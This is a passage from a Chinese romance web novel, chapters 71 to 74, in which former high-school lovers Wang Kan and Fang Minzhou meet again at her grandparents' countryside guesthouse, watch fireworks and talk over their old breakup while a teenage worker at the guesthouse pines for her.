“那她住到什么时候?” “下个月吧。” 只有一个月了。 然后,他不知道她未来要去哪里,不知道她身边还有哪些人……她没有回头,他没有回头,但机缘巧合之下他们还是重逢了。 他后悔过,但再给他一次选择,他可能还会那么做。 但他没有选择,他只有继续往前走。 往前的路,他又有许多选择。 错误摆在他的面前,他能找到原因吗?还是推倒本已积重难返的一切,重新开始。 70-80 第71章 第 71 章 夏日傍晚的天际往往…… 夏日傍晚的天际往往都是绚烂的火烧云, 停滞不前的车龙被静静得染上色彩。 “放暑假了嘛,又搞活动,最近人比较多。”司机说。 王衎附和了句。 今天他原计划上午来当天走的, 白天临时有事耽搁了, 本应该改天, 但还是来了, 没有开车, 乘成动车,顺便打电话给民宿,问还有没有房间, 赵阿公接的,爽快地说有, 没问题。 聊完事情再到民宿时,天空只余地平线一缕魂魄似得的鸽血红, 正好遇见从地里回来的张阿婆, 手里提了好几袋东西, 王衎上前帮忙接过。 “哎呀老赵和我说了, 但说你要很晚才会来啊, ”张阿婆见到他很高兴, “饭吃了没?” “还没。” “早点打个电话过来,我还能给你留饭。没什么菜了,吃不吃面条?” “吃的, 随便弄点就可以。” “好的好的,我给你煮, 有点心,你现在自己垫一垫,别饿着, 正好今天晚上河那边放烟花,等会吃完,你要想去可以去看看,让敏周带你们过去。” “……好。” 双溪镇被山野环绕,比城市里凉快许多,但毕竟入了夏,晚风带着炙热的余温,蝉鸣一阵接着一阵地鼓噪,在他们进门那一刻停了停,屋内一股清雅的茉莉花香。 前厅里,方敏周蹲在地上,给一个三四岁模样的小女孩手腕上戴上一串花朵编织的手串。 一旁的桌子上有一个装满了茉莉花手串的竹篮,另外还有些用剩的材料,方敏周穿了一件白色的连衣裙,裙摆毫不在意地触地,地上散落着一些小小的花瓣。 小女孩好奇地扯了扯手腕上的手链,然后咧开嘴嘻嘻地笑起来,女孩的妈妈教她说谢谢,方敏周笑盈盈的,就是她在看到他的瞬间,脸上的笑容像掉了一帧,但立刻就衔接上了。 这有点像他们高中刚认识那会,他总是在方敏周面前显眼,她不高兴,他就高兴——但其实不是这样的,她不高兴,他也难受,转而想着办法逗她开心。 她站起来,拍了拍裙子。 “小王要不要来一个?”张阿婆说,“很香的,男生也可以戴,没关系,我们今天早上刚摘的花,做成花环啊,等会拿到村子里给大家。” 王衎顺其自然地朝方敏周伸出左手。 方敏周似乎有点奇怪地看了他一眼,默然从篮子里拿出一串手链递给他,他没接,她的眉头微不可见地皱了皱,又看了看他,像马戏团里驯兽师举着套圈,避开肢体碰触,把他的手腕套住。 王衎收回手后,又说了声谢谢,方敏周回了句不客气,收拾起桌面。 小女孩兴致勃勃地要帮忙,但在张阿婆进厨房给王衎煮面后,又好奇地跟过去,女孩的妈妈致歉,方敏周忙说没关系。 前厅只剩下她和王衎。 王衎蹲下一起捡起地上的花瓣。 肉眼可见的都捡完了,方敏周听见王衎对她说:“你裙子上还有。” 方敏周莫名感到一股羞恼,低头扯裙子找,一小片花瓣不知从哪处轻飘飘落下,被王衎先她一步屈膝捡起来。 重新站直后,两个人离得有点近了,王衎闻到了更浓的花香。 “扔哪?”他捧着一手心的花瓣问。 方敏周指向角落里的垃圾桶。 王衎走过去扔掉后,顺道拐进了餐厅。 吃完饭,张阿婆带他去房间,还是他之前住过的那间单人房,“下次你要来早点说,我们留间大点的房间给你。” “没事,这间就挺好的。”王衎说。 他把包放下,把行李随便理了理,走出房间时,对面的门也正好被由内打开。 对视一秒,方敏周先走过下楼,王衎慢一拍跟上。 张阿婆赵阿公在院子里纳凉,张阿婆向他招手:“是不是要出去?阳阳带其他人先过去了,敏周你带小王逛逛,他在这儿不熟。” 方敏周像是应了声,又像是什么都没说,要拿竹篮,王衎说:“我拿吧。” 她又把手收回去了。 王衎又问阿公阿婆不去吗,他们两人笑起来,挥着手里的蒲扇,“哎哟,你们去吧,我们还是在自己家里待着舒服。” 方敏周:“走了。” 张阿婆赵阿公对孙女说:“走吧走吧,小心啊。” 看着方敏周径直走在前面,相比她之前的铁面无私,她今天似乎有些私人情绪,看起来是不太想见到他。 王衎很犯贱地心想这才对,怎么可能有人能和前任毫无芥蒂地相处。 她的老毛病没变,依旧会奉行一些违背人性的说法,以始终站在道德高地。 从坡道往下走再往前,有那么一段路都安安静静的,两边住屋院子里的花朵在昏黄的路灯下簇拥,只有虫鸣啁啾,直到快要走到桥边,皮肤发汗,人声才渐渐传来。 沿河的两边都摆满了摊子,有卖吃的也有卖玩的,还有些村子的特产,不比大城市步行街的繁华热闹,相对的也没有那么拥挤,边走边逛,比较闲适。 方敏周自顾自地走在前头,王衎偶尔驻足某个摊位看一看,再去找方敏周时,就看她站在不远不近的地方,面无表情实则压着火瞪他,因为篮子在他手上。 等他重新跟上后,她又掉头拉出一段距离。 最后王衎跟着方敏周走到一棵大榕树下,是临时的志愿服务处,两条长桌子后面坐了三个阿姨,王衎把竹篮放在桌上,其中一个阿姨认出方敏周,同她拉起家常,方敏周变得很有礼貌地回应。 王衎无所事事,看到旁边有卖吃的,去排队端了两杯刨冰回来时,看到方敏周左看右看,像是在找他的样子。 这让他想起某年某月某日,他们在某个夜市,一人排一个队,人太多,东西买好了却找不到对方,后来才发现,人其实就在对面,那时候他找到她的时候,她也是和现在一样,原地打转像一只小象。 那是什么时候的事情了? 但他还记得彼时他说,她小时候一定被爸妈教育过一句话,“如果走丢了就站在原地等我回来找你”,然后被方敏周踩了一脚。那时她怒里带笑,这会儿在见到他后,却又像收起抽屉一样,敛起表情。 他走过去,把其中一杯刨冰递给方敏周,“买一送一。” 方敏周心下有点烦躁,但还是做表面功夫地收下了。 “走吧,带我逛逛。” “你刚没逛吗?” “刚才就随便看了下。”这么说着,王衎又在一个有着蓬松白胡子和白头发的大爷摊位前停下。 说是摊位,其实只有一块尼龙布铺在地上,布上摆满了各种编织物。大爷坐在小竹椅上,正龙飞凤舞地给一个小孩编玩具,随口招呼其他客人随便看随便选。 王衎看中了竹编的蟋蟀,问方敏周要不要来一只,方敏周说她不要。 王衎买了两只,另一只并没有给方敏周,提在手里。 山脊融入深蓝色的天空,汩汩的水声和嗡嗡的人声相应,王衎走在方敏周右边,落后半个身位。 这算不上之前遗留下来的习惯,只是这个距离最方便,尽管她并未侧头向他说话,依然一个劲儿地沿着河走,不知道要领他到哪里去。 从河面掠过的夜风湿润清凉,或许她是觉得,就这样把他带到河溪的尽头,再回来,便算是完成了她外公外婆交代的任务? “你带我逛都不介绍下的吗?“王衎问。 方敏周回:“没什么好介绍的。” “还是你不想和我说介绍?” 方敏周停步,王衎差点撞到她身上。方敏周转头看他,眼神中带有微妙的打量,王衎举起右手,连带着手里的刨冰和蟋蟀一同抬起,作投降状:“我事先说明,我说这话不是在阴阳怪气,你听得出来。” “乡下不都这样,我也没有在阴阳怪气。”方敏周淡淡地说完,又转过身继续往前。 她大概在心里骂他,王衎猜到了。 “关阳呢?不用去找他?” 方敏周第二次回头看他,王衎满不在乎。 那晚她说完那些话,就留他一个人在房间,说她去找关阳。王衎不记得后来他在她房间待了多久,直到冰袋化了,彻底溽湿了毛巾,就像现在的刨冰一样湿了他的手心,他下楼开车离开。 这会儿不过好心提前提醒一下罢了。 方敏周默了默,王衎说他没有在阴阳怪气,但他显然是哪壶不开故意提哪壶,她尽量平心静气,“我和关阳聊过了……” 王衎抢白:“他敢和你说实话?” 方敏周深呼吸了一口气,竟然挤出微笑:“是没说,但这和敢不敢没关系,他觉得尴尬很正常,也就算了,我说了你说你自己没事,关阳说他会和你道歉的。” 王衎笑了声,“你那时候说我们认识,现在他知道我们有多认识了吗?“ “我说了,你是我前男友。” 王衎怀疑方敏周是故意挑的字眼,他再问:”你这不就是作证我说的话了?他能听懂你这是拒绝他的意思吗?” “我只是把事情和他说清楚,就像现在把事情和你说清楚一样。”方敏周说,“不管怎么样,他打人是不对的,但他和你道歉之后,我希望你不要再说什么故意激怒人的话了。” “比如?” “比如你现在的‘比如’。” 王衎不说话了,吞了口甜腻的冰沙。 沉默地继续在夜里走着,两边摊贩渐少,最后只剩下树影幢幢。 走到没有护栏的桥头,桥下是一片绵延开阔的鹅卵石浅滩,水流相比后段急了一些,但不是汛期,不靠近没有危险。 方敏周终于停步,“在这看吧,人比较少。” 王衎没有吭声。 静待烟花的时候,突然,他们被一道扎眼的亮光闪了下。 “对不起对不起!”两道声音同时响起,是一对看起来还是大学生的年轻情侣,拍照开了闪光灯,不小心闪到了他们。 “没事。”方敏周说,往旁边走了几米,王衎也走过去。 风停时,烟花拖着长长的尾巴在靛蓝的夜空绽放,地上,河水昼夜不分地流淌着。 王衎抬着头,眼睛从灿烂的天空移到方敏周的侧脸上,光影落在她脸上,她静静的眼睛里藏着另一片小小的天空。 和方敏周待在一起,总会让他想起很多忘记的事情。 他们约定过一起去日本看烟火大会,没有确定时间,只是一个存在于未来的规划,最后未能成行。后来他自己去过日本,但没有看过烟火,他不知道方敏周是否还记得,又是否已经看过。 方敏周注意到了他的目光。 水声、风声、惊呼声、烟花炸裂的声音,在夏天湿热的空气中交织,他们在漫天的绚烂下望了对方一眼,又同时重新仰头去看花火。 小镇的烟火秀不盛大,很快结束,变回安静的夜晚多了一丝热闹后的寂寥,大家开始往回走。王衎跟着方敏周,照旧是一前一后。 “那个……”有人喊住他们。 之前那对情侣跑过来,女生有点不好意思地把手机给他们看,“我们刚才拍照的时候拍到了你们……我觉得还挺好看的,你们要的话,我发给你们?” 黑夜里幽亮的手机屏幕,live图,是刚才他们对视的那几秒。 被误会成是情侣了。 方敏周下意识地要解释,而王衎没说话,看方敏周尴尬,反而心情愉快了点,但下一秒听她从容地回道:“好啊,谢谢。” 照片被隔空投送到他们两个人的手机上,方敏周没有细看就收起了手机。王衎不用再刺她也知道,她只是懒得做过多解释。 清者自清那一套,被用到了他身上。 回民宿的途中,王衎把已经彻底化了的刨冰扔进路边的垃圾桶里,茉莉花环还在他手上,蟋蟀随着脚步一跳一跳。 前半程他们谁也没有说话,后半程有一搭没一搭的,是王衎又挑起了话题,唇枪舌战后的中场休息一般,两个人忽然就像许久不见的朋友一样,聊了聊近况,方敏周也接住了。 等走上了家门口的坡道,身后王衎喊她的名字。 方敏周停下来看他,王衎站在几步外,面容一如年少时模糊,“如果我不想和你只是当朋友怎么办?” 第72章 第 72 章 方敏周不喜欢她和王…… 方敏周不喜欢她和王衎之间的暧昧——特别是当她发现自己仍然会为此心旌摇荡时, 她不得不警告自己,她是被分手的那一个,不要再有太多浪漫幻想。 她不明白王衎这么问目的, 准确地说, 她不明白王衎从头到尾所有的试探, 是余怒未消还是余情未了。 他要是还在生她的气, 她已经道歉过了, 她也不欠他什么,而要是他说他还喜欢她……她不怀疑,只是这喜欢中有多少不甘的成分?又或者是偶然的重逢, 让他突然很怀念年少的时光。 难以分辨,好比一道加了香菜和葱的菜, 再把这些香料挑出来,敏感的人还是能闻出气味。 她也一样。 她时不时会通过现在的王衎追忆十年前的王衎, 那个头发竖着、眼睛明亮、有各种各样表情的男孩子, 有一张青春稚气的脸, 整个人像面迎风鼓起的崭新的船帆。方敏周怀疑他们不是同一个人, 可更多的时候, 他成熟的白衬衫和宽松的白色校服重叠, 她同样会看见过去的自己。 回忆被盘磨得锃亮,却也失去了真实的痕迹。 她在他眼里也不可能没有变化,想到这里, 方敏周觉得夜有点深了,烟花落幕的寂寞在心里积蓄, 叶尖的露水般坠落。 “你是想和我复合的意思吗?还是我误会了?”她直接问他。 王衎像是被她惊讶到了或是怎么,没了话。 方敏倒也不意外,心里笑了笑, 刚才那句话,换做以前的他讲,不会那么迂回。 “我觉得我们还是当朋友比较好。” 坡道两侧的路灯安静地遥遥相望着,天边一轮满月。王衎望着方敏周,观察、学习、应用她的冷静,“你的朋友分等级吗,我属于哪种朋友?” 方敏周觉得王衎的追问很没必要,她话已经说到这个份上了,“也许曾经关系很好但后来就少了联系的高中同学吧,我想我们之后应该也很少有机会碰面了。” “是很少有机会,还是你根本不想看见我?” 方敏周默然。 “那这还算朋友吗?” 方敏周深呼吸,“我和很多同学毕业后就没怎么见过面,但也还是朋友。” 王衎笑着点了点头,提起另一件事:”我前天回樟城,碰到了孙彤。” 方敏周一愣,王衎又说:“看来她和你也是很久不见的高中同学。” 方敏周无视他言语里的讥诮。 事实也的确如此。她和孙彤上一次见面还是她在北城的时候,孙彤来出差,她们约了顿饭,再上一次见面,就要追溯到大三的暑假,她去港城比赛,但那次是未曾想过的巧合。 “多久没见了?” “两年吧。” “还好,没我们之前久。” 方敏周抿抿嘴,也笑。 “你刚才说那么多,但你其实大三的时候就想和我分手了是吗?” 这个问题,出乎方敏周意料。她有一瞬间的失重,像被回忆提了提,纷纷落落掉了一地碎片。 方敏周不知道王衎和孙彤聊了什么,应该只是寒暄,孙彤更不可能在王衎面前说太多,方敏周只能猜王衎这么问,是从一些蛛丝马迹中倒推出的结论。 “不算……” “有就有,没有就没有,不算是什么意思?”王衎很平静,但方敏周还是听出了他的隐忍的怒气。 那么,可能更多的还是余怒未消吧。 “我那时候只是觉得,你和我都很忙,所以我想过,是不是暂时……分开一阵子比较好,先专注各自手头上的事情,但不是真的要分手的意思。” “所以后来我再一提,你就同意了。”他换了陈述句。 “是啊,不然呢?” 她突然久违地又感到对王衎的恨意,但那恨转瞬即过,因为不知道恨谁,那时的王衎还是现在的王衎,不知道心疼谁,那时的自己还是现在的自己。 夏日夜晚的路灯昏黄暗淡,那个江城的午后春光烂漫,她始终记得彼时的震惊和无措,之后的时间歪歪扭扭,留下一条漫长的自我疗愈的疤痕。 心口穿针般的疼,丝线在手中拉长,等待下一针落点。 王衎望着方敏周,她的眉眼一如那天的不为所动。 就像她说的,后来他们都变得很忙。 大二的暑假他去外地写生,大三的暑假方敏周去外地比赛,她的大学四年,他们明明很珍惜每一次的见面,但争执分歧却在不经意间愈演愈烈。 她不喜欢她的专业,但不常和他抱怨,相反,还一直保持不错的绩点并时常敦促他。 王衎那时候猜她是不想加重太多后悔情绪,因为他们曾经为志愿的事吵过架,她可能觉得她要是后悔,就显得当初她的决定也没有多么正确,她很在乎输赢。 而他在她面前也是报喜不报忧,不过当大学过半,身边同学越常痛骂专业时,他确实还是少数几个乐呵的,是大家眼里的头铁分子。 方敏周决定转码,他说不上太意外,就是帮不上忙只有口头支持,但口头支持也没必要,反而很打扰,因为那时候方敏周太忙了。 她和他坦白地聊过,语带歉意,又安慰他,说过段时间就好了。 王衎都不知道和他谈恋爱原来是这么耗费心力的事情,见不了面,但日常的电话和消息都不能保证,但他也理解,开玩笑说他其实也很忙的,天天通宵画图,“我是像挤海绵一样挤时间地来找你的好不好,你不要觉得我很闲。” “好啦好啦,知道你是大忙人。”她顺着他的话。 他真的理解。 大三那年暑假,她比完赛,他带她在南城玩。炎炎酷暑,在茶餐厅喝冷饮的某天,她问他毕业后有什么计划,说自己有点想出国。 她是以商量的语气,问的也挺小心的,但王衎知道这是通知,因为即使他不愿意,她也不会改变想法。 他虽然有时候会在方敏周面前吹牛,说自己要成为多么多么厉害的建筑师,但其实也没多大的野心。 建筑要蓝图,生活也要蓝图,他未来的蓝图,就是大学毕业后,他和方敏周在同一个城市工作,哪儿都行,至少,不像北城和江城一样隔得这么远。 飞来横祸似得,眼看着要熬到头的异地恋要变成更可怕的异国恋,还是在一个本来大家都在考虑前途的节骨眼,他的心情像一杯打翻了的饮料。 方敏周明年就毕业了,但他还有一年,即使之后他们又都毕业了,到时候方敏周又是什么打算呢?要不他还是看看学校大五的时候还有没有交换项目? 他说可以啊,如果你要去的话,他也可以去查查资料。 后来就是方敏周拿到了留学offer,她终于能够喘一口气了,他们太久没见面了,那小半年发生了很多事情。 他为数不多能说的喜事,是一个比赛拿了奖,方敏周很替他高兴,说要来江城找他,大家一起庆祝一下,但那天,她迟迟没有出现,电话也没人接,好不容易打通,是她学长的声音,说她有事,迟点再联系他可以吗? 事不过三,这是卓睿第二次代方敏周接通电话,上一次是他们去港城比赛的时候,他说他们在聚餐,方敏周去了卫生间。 那次方敏周很快回拨了电话给他,听起来的确是刚从卫生间回来,这次她也很快改了第二天的航班,但几句话后,他们就分手了。 时过境迁,回想起来已经很恍惚,失望过也愤怒过,痛苦过也委屈过,但王衎现在才想明白,在那样的情况下他说分手,比起任性的试探和自以为是地替她着想,更是他出于自卫地先捅了方敏周一把刀子。 到头来,最最快乐的是十九岁的夏天。 王衎忽然的沉默让原本剑拔弩张的气氛变得奇怪,重逢后的王衎变得像一个兵器架,他一靠近,方敏周不自觉就会有防御心理。她有些尴尬,迟疑是不是她话说太重,可又怕王衎酝酿出更难听的话。 良久,她听见王衎低声问她:“如果我一直不说分手呢?” 爱啊恨啊怨啊念啊,变成一串风铃,在时间的长河里叮铃作响。 方敏周不由自主地避开了王衎的眼睛,她听见自己心里的一声轻叹,她想,原来王衎也想过这个问题啊。 她咽了口唾沫,目光从鞋子重新放到王衎身上。 “我之前和你说过,分手之后我有反省过我自己,我那时候……比较想当然,觉得只要两个人互相喜欢,什么都不是问题,总觉得以后还有机会,但其实后来那段时间,我们和分手也没什么区别了。”方敏周顿了顿,她不是小孩子了,良药苦口,她不能还耍赖不喝,“所以,我后来想,你那个时候提分手是对的。” 王衎的心抽痛得厉害。 “这件事情上,你是对的,你比我果断,早点分,还能多保留一点美好的回忆,不然再耗下去,反而可能会变得很难看,这点来说,我应该认真地和你说声谢谢,我们……也还是当朋友比较好。” 你是一个很好的人,方敏周在心里补充。 虽然她深深地怪过他。 这些话,她说给王衎,也说给自己。 呼吸都让胸口发疼,王衎望着方敏周,想问她,她说这些话会不会太狠心了一点,狠心到他有点不愿意相信她毫无怨言,但这话说出来,显得他多么自作多情。 暗暗的树影被晚风吹拂,王衎眸光闪动,方敏周以为他有话要说,但他迟迟不开口。 她忽然又猜想,或许他并没有那么生她的气。 “孙彤最近怎么样?”她换了话题。 又是等了一会,才等到王衎开口,“挺好的,她来一医交流。” 方敏周犹豫了下,还是问了,“……你去医院了?” 王衎动了动嘴角,“……陪我爸体检。” “……叔叔身体还好吗?” “还好。”按方敏周的意思,问候长辈身体都是客套话范围,王衎无法讽刺这个问题是否逾界,“……你爸妈呢?你之前说,你妈生病了。” “去年的事了,现在都挺好的。”方敏周说。 站着聊太久,小腿都有些僵直了,不见王衎还要说什么,方敏周转过身继续往家走去。 王衎想再说些话,他应该再说些什么,但头脑空白,喉咙干涩。多奇怪,他无法左右自己的身体,灵魂出窍般地看着方敏周走远,一如从前。 要十七岁的时候,可以厚着脸皮叫住方敏周,问她有没有听懂他唱的歌,快二十七岁了,稍一碰壁却只敢懦弱地站在原地。 走到院门前,方敏周才发现王衎没有跟上来,他的轮廓被黑夜模糊,不知道为什么,她突然有点不忍心看。这拉开的距离,好像他们错过的这几年。 但其实也不是错过,只是他们走向不同的路罢了。 事情的发展脱轨,像一个踉跄而从手中飞出的盘子,带起无法补救的多米诺骨牌效应。 遥遥对望,他向她走去。 七月的天太闷热,渴盼着有一场雨,可以代替眼泪。 第73章 第 73 章 方敏周虚扶…… 方敏周虚扶着的院门突然被从内打开, “姐?” 是关阳。 方敏周刚应了声,却见关阳原本兴致勃勃想要分享什么的神情忽地一变。她顺着他的目光看过去,王衎面带微笑, 只是皮笑肉不笑的, 像个面具。 门口正好在最近一盏路灯的照明范围内, 审犯人一般把每个人的脸都照得很清晰。 “你……”关阳眼里蒙上了一层受挫的阴翳, 没能说下去, 紧紧抿住了嘴唇。 他就这样堵在门口,方敏周进退两难,不可能不尴尬。她假装毫无察觉地问他还没睡呢, 又委婉地提醒他该道歉。 关阳脸色绷紧,受辱了一般, 不情不愿地飞快吐出了那三个字,不等王衎说没关系, 已经气冲冲掉头走开。 方敏周无声地叹了口气, 进到院子里, 而王衎还站在门外, 她有点疲惫地喊了句“进来吧”。 王衎迈进院内, 随口一扯:“你不会心软吧?” 方敏周有些胸闷, “你想多了。” 他们回来的有点晚了,大家都已经回了房间,只有几盏声控夜灯亮着。 “贺温纶不行, 关阳不行,我也不行。”王衎问, “能问问吗,你现在的择偶标准是什么?” 又来了。 方敏周打开自己的房门,“我从来没有标准。” 说完, 她直接关上了门。 靠在门板上,好一会儿,才想起来开灯。振作精神先去洗澡,洗完澡冷静了点后,考虑再三,还是给孙彤发了消息。 她是大三下才下定决心转码,但也不敢轻易放弃本专业的课,试图两手抓,有商赛也还是报了名。 暑假去港城,同队的一个学姐有朋友在港读书,约了吃饭,学姐带上她一起。她们在校园里随便找了个学生问路,没想到就是孙彤。 方敏周吓了一跳,第一眼差点没认出人,也是第一次在孙彤脸上看到惊讶的表情。 在这之前,她们还见过一面,是大一的寒假。她和爸妈去乡下农家乐吃席,她们远远的就互相看见了对方,她正犹豫要不要打招呼,孙彤已经把目光撇开。 上了桌,有不熟的亲戚对着其他方敏周更不熟的亲戚介绍她成绩多好,她尴尬不已,生怕被不知道在哪里的孙彤听见,随后又看见孙彤在门外,和一个端盘子的阿姨似乎有些争执。 有人经过,挡住了方敏周的视线,等人走了,孙彤和那个阿姨也不见了。 她们长得有些许相似,方敏周后知后觉地想起来,高中同班的两年,她没见过孙彤的父母。 而那时的孙彤和港城其他学生没有两样,和那个冬天、更久远高中时的孙彤更是截然不同。 她长胖了一点、肤色深了一点,显得健康结实了不少,换了一副细框眼镜,还是短发,不过修剪了层次,改为偏分,即使表情仍然淡淡的,却少了戾气,多了份利落的气质。 她指了路后就要走,本来又是一次擦肩而过吧,但方敏周鬼使神差地和用新学的粤语,同她说了句”好久不见”,她又露出了诧异的表情,令方敏周莫名觉得有点好玩。 隔天,孙彤带她去了一家餐厅。 她们意外地聊了很多,意外地聊得很顺畅。 当孙彤毫不客气地说她太贪心时,方敏周愣了一下,没了被冒犯的生气。 她不再掩耳盗铃,而孙彤说得没错,她什么都不想放弃,结果如何还不知道,但已经把自己搞得筋疲力尽。 那顿饭的后来,方敏周努力地把食物吃光,彼此沉默时,她随口说了句餐厅正在播放的音乐很好听。 在王衎的影响下,她变得能听懂一些粤语,隐约听出是一个女声唱着“行过去,行过去”,没想到孙彤知道这首歌。 尽管这顿饭后,方敏周才真正开始认识孙彤,但她的印象还没彻底改过来,难免还以为,她还是那个坐在第一排死读书的女孩。 她们交换了联系方式,那天晚上,孙彤在朋友圈分享了这首歌。 一座城市可能永远不会下雪,一个人决定不会永远年轻。她们时隔许久偶然遇见,毫无准备地都过了二十岁,迷茫焦虑地眺望未来,实际心底仍然有一份本能的野心,像歌词里所唱的那样:路弯弯/步姗姗/由无知走到这里。 如此走过无数关。 后来方敏周不常和孙彤联系,逢年过节都没有客套的短信,除了两年前的那一顿饭。上一次聊天则是在去年,妈妈做手术的时候,她问了孙彤一些问题,手术顺利结束后也和孙彤说了一声,她说祝阿姨早日康复。 那年从港城直接去南城和王衎见面,她和王衎提起过这次偶遇,具体聊了什么没多说,他调侃她们女生之间的友谊真奇妙,她还琢磨这算不算友谊。 在输入框敲敲打打,方敏周给孙彤留言,简单讲了下经过,问王衎是否说了什么,又问她还在不在樟城。 孙彤在隔天清晨回复她,她说她已经回到港城,因为只来两天行程忙碌,所以没有联系她。至于她和王衎,简单寒暄了几句近况,“然后他问我,大学的时候知不知道你要出国的事情,我问他为什么突然问这个,他又不说了。” 方敏周回复好的,没什么事情,约孙彤有空再见面。 问这些干嘛呢?她有些无奈地想。 凌晨两点多,还有金莹的留言。金莹过着日夜颠倒的生活,问她最近什么时候有空一起去趟江城。 她们还在找合适的办公间,根据客户情况和各自的资源情况,看来看去,还是江城比较合适。 昨天金莹和一个同在学姐吃饭,她建议她们可以看看江城创业中心的政策,通过专家项目评审的创业团队可以得到3-12个月的免费办公室以及其他支持,金莹很心动,但决定前还是需要去园区实地考察一番。 方敏周回复金莹,她最近都有时间,然后打开电脑处理了一些工作邮件和消息后,下了楼。 时间还早,餐厅里,外婆擀了面条,正在熬汤头,方敏周过去帮忙,问外公呢过,外婆说外公不省心,小王去工作,他也跟着去看了,“腰还没好,也跟着乱凑热闹。” “这么早?”方敏周问,“早饭吃了吗?” “随便吃了点,过段时间要台风,说是看看东西都到齐了没有,要是还差的得赶快订,这工作还挺辛苦的,一直要盯着。” 方敏周没说话了。 十点多,外公和王衎回到了民宿,又径直去了谷仓。 方敏周被外婆差遣,送去早上煮好放凉了的绿豆汤,看到王衎在和工人讨论着什么。他穿白色短袖和黑色休闲长裤,和读书时差不多的衣服,却沉稳许多,像做实事的人,不再那么花枝招展。 他看见她时反应平平,收起了昨晚那股不饶人的痴怨劲儿,方敏周觉得这样挺好的。 到了饭点,王衎和他们同桌吃饭。他经过她身边拿碗筷,方敏周闻到了他身上的沐浴露香味,才发现他还洗了澡换了身衣服。 喊关阳吃饭,他说自己不饿没胃口,外公外婆感到奇怪,但过了会儿,关阳还是过来拉开椅子坐下,有一口没一口地塞米饭,外婆问他:“阳阳,你怎么了,身体不舒服?” “没。”关阳含糊道。 “是不是天气太热了?饭吃不下去就吃菜哈。” 外公也抱怨着今天太热,说着嘴馋起来,想要喝点酒。 外婆斥他大白天的喝什么酒,外公说这样下午干活才有力气,问王衎要不要喝,王衎说他不喝酒,关阳插嘴说他可以喝,又被外婆骂小孩子喝什么酒。 “给我倒点吧。”方敏周出声。 外公满意地给她倒了杯,又问王衎:“小王真的不喝?” 这会儿王衎却从善如流地拿过杯子:“来一点吧,不用多。” 方敏周:“……” 赵庆友和王衎相谈甚欢,看关阳不高兴,以为他是想喝酒想喝得不得了,偷偷给他本来嘛,多大的人了,还有什么不能喝的。张秀芬发现后,哭笑不得,说老头子带坏小孩,赵庆友笑嘻嘻地说喝点小酒对身体健康。 最后反而只有方敏周没碰酒杯。 方敏周酒量不错,但对酒精无感,加上她下午其实还有远程会议,刚才那么说,只是怕外公一个人喝酒无聊。 而关阳在喝了几口酒后,一改沉默,时不时呛白王衎几句,王衎表面上很有风度地回话,实则四两拨千斤地把话题绕走。 方敏周听得饭都要吃不下去了,想着赶快吃完离席,被外婆悄悄靠近问,怎么觉得阳阳怎么好像有点找小王麻烦呢? 方敏周:“没有吧?” 孙女都这么说了,张秀芬也不好再怀疑,实在看不下去了把酒瓶收起来,“够了够了,大中午要喝得醉醺醺的?” “这么一点怎么会喝醉?”赵庆友笑着说,忽地“哦呦”一声,“阳阳,你脸这么红呢?” 方敏周抬抬头一看,这才发现关阳从脖子到脸甚至胳膊都泛着一层红。 “这下好了,让你们别喝别喝,这酒度数很高的!”张秀芬叫起来,压下火,问关阳难不难受,“头晕不晕?” 关阳撑着额头摇头,“……我忘记了。” “忘记什么?”张秀芬问。 关阳一个字一个字地吐字,“……车,送人。” 方敏周第一个反应过来,他指的是王衎今晚要走,按理,他们要送他到火车站,“没关系,我送他就行了。” 关阳听清了,迟钝地看向她。 方敏周看出他的心思,外公外婆都还在,她有点紧张他说出什么难以挽回的话,一边让外婆备点蜂蜜水,一边走到关阳身边:“还能站起来吗?我送你回房间休息下。” 关阳呆呆地又抬起脸,仰望着走到他旁边的方敏周,好一会儿,整个人颤了颤,然后努力地撑着桌子站起来。他的房间在一楼,方敏周扶着他慢慢走过去。 “小心点啊。”外公叹了口气,也有点懊悔,转头问王衎,“你怎么样?你这脸色看起来也不太对啊,也醉了?你们现在的年轻人酒量不行啊……” “没。”王衎勉强笑了笑,“我挺好的。” 第74章 第 74 章 关阳的房间门没有锁…… 关阳的房间门没有锁, 他经常忘记,这点外公外婆说过他好几次,但他不在意。 方敏周打开门, 问他:“想吐吗?” 关阳连忙摇头, 甩得过猛, 反而真的有点恶心了, 立刻捂住了嘴, 方敏周见状轻轻拍抚他的后背。关阳浑身一僵,像只弓起脊背的猫,但即使此刻他大脑运转得极其缓慢, 也知道方敏周对他只是关心而已。 因为只是关心,所以才不会刻意避开一切肢体接触。 她很快就把手收了回去, 让他侧卧在床上休息,她则走到窗前把窗户关上, 打开空调, 又回来帮他把枕头垫高了一点。 正午阳光灿烂、蝉鸣鼓噪, 窗帘一拉上, 室内瞬间昏暗安静了几度, 关阳缓慢地眨了下眼睛, 轻声辩解:“其实我会喝酒……” 见方敏周淡淡笑了笑,他有些着急,“我真的会, 是这酒度数太高了……” “嗯,而且你喝太急了, 下次小心点,以后也少喝点酒,对身体不好。”方敏周说。 “……以后是什么时候?” “等你上了大学之后, 朋友一起吃饭聚餐,有些人很会劝酒,你不要为了争男子气概跟别人比这些,喝醉了难受的是你自己。” 关阳听出方敏周更深层的劝告,但他没力气细想,全身发软发热,他闭上眼睛,但下一秒马上用力睁开,不舍得方敏周离开,想和她再多聊聊。 “我能考上大学吗?” “可以啊,怎么不能。” “考上有用吗?” 方敏周蹲在床边,视线同关阳大概持平。关阳并不像十八岁的她,或者王衎,或者任何人,每个人都有每个人的特质,但是那份对未来的迷茫是相同的。 她真想告诉关阳,人一旦迷茫,可能这辈子都会迷茫,就像一旦识了字,就不再是文盲,这是成长中不可逆的副作用。 每个阶段都有每个阶段的烦恼,但每个阶段也会有每个阶段的收获。穿过整片麦田,只要能够拾到一束麦穗,不论大小,就很好,那是对应的困惑的参考答案,不过也只是参考而已。 但这些话对现在的关阳来说太虚了,所以她肯定地回答他:“有用。” 关阳眼皮沉重,但还是撑着眼睛,有点舍不得地看着方敏周。 他来民宿打工前本来做好了枯燥的准备,见到方敏周有些意外,以为她比自己大不了几岁。关系拉近,是过了一段时间后,有客人在退房时故意挑刺找茬要求打折。 做服务业难免会遇到沤客,本应该秉着多一事不如少一事的原则,但对方吃相太丑陋,看阿公阿婆还低声下气地道歉,关阳脑子一热,和人吵了起来。 方敏周从外头匆匆赶回来,关阳本以为她会批评他,但她没有,反而站在了他这一边,态度强硬地表示任由差评举报,他们问心无愧,不受气。 体校的生活很苦,他几乎是被打骂着长大的,后来受了伤不能再走体育这条路,进了中专读书,身边同学们大都也浑浑噩噩,老师们也应付了事,再没有人管自己,回到家里也只有爸妈的批评。 